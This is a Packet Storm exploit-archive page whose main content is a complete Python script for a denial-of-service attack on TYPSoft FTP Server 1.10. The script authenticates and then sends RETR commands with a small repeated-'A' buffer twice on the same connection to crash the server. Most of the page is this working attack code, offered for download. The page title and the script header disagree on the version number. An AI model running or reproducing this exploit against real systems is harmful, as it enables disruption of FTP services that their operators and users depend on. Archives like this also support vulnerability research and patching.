what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

TYPSoft 1.0 RETR Denial Of Service

TYPSoft 1.0 RETR Denial Of Service
Posted May 14, 2010
Authored by Jeremiah Talamantes

TYPSoft version 1.0 RETR command denial of service exploit.

tags | exploit, denial of service
SHA-256 | 9e743870310a319983612a510077f27e93555ce348bf5017ef067515f6ee954b

TYPSoft 1.0 RETR Denial Of Service

Change Mirror Download
# Exploit Title: TYPSoft FTP Server 1.10 RETR Command DoS
# Date: 5/13/2010
# Author: Jeremiah Talamantes (RedTeam Security)
# Software Link: http://sourceforge.net/projects/ftpserv/
# Version: 1.10
# Tested on: Windows XP, SP2 (EN)

# DESCRIPTION:
# This script exploits a weakness in the RETR command in TYPSoft v1.10
# It requires only a small buffer that is executed in succession within
# the same socket connection.

#!/usr/bin/python
print "\n#################################################################"
print "## RedTeam Security ##"
print "## TYPSoft FTP Server v1.10 RETR Command DoS ##"
print "## ##"
print "## Jeremiah Talamantes ##"
print "## labs@redteamsecure.com ##"
print "################################################################# \n"

import socket
import sys

# Define the exploit's usage
def Usage():
print ("Usage: scriptname.py <IP address> <username> <password>\n")
print ("\n\nCredit: Jeremiah Talamantes")
print ("RedTeam Security : www.redteamsecure.com/labs\n")

# Buffer settings
# This works with a relatively small buffer
buffer= "A" * 30

def start(hostname, username, password):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 21))
except:
print ("Error: unable to connect to host")
sys.exit(1)
r=sock.recv(1024)
print "[+] " + r
#Send username to server
sock.send("USER %s\r\n" %username)
r=sock.recv(1024)
# Send password to server
sock.send("PASS %s\r\n" %password)
r=sock.recv(1024)
print "Sending the malicious chars..."
# Send data to server
sock.send("RETR %s\r\n" %buffer)

# Repeat to overflow
sock.send("USER %s\r\n" %username)
r=sock.recv(1024)
sock.send("PASS %s\r\n" %password)
r=sock.recv(1024)
sock.send("RETR %s\r\n" %buffer)
sock.close()

if len(sys.argv) <> 4:
Usage()
sys.exit(1)
else:
hostname=sys.argv[1]
username=sys.argv[2]
password=sys.argv[3]
start(hostname,username,password)
sys.exit(0)

# end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close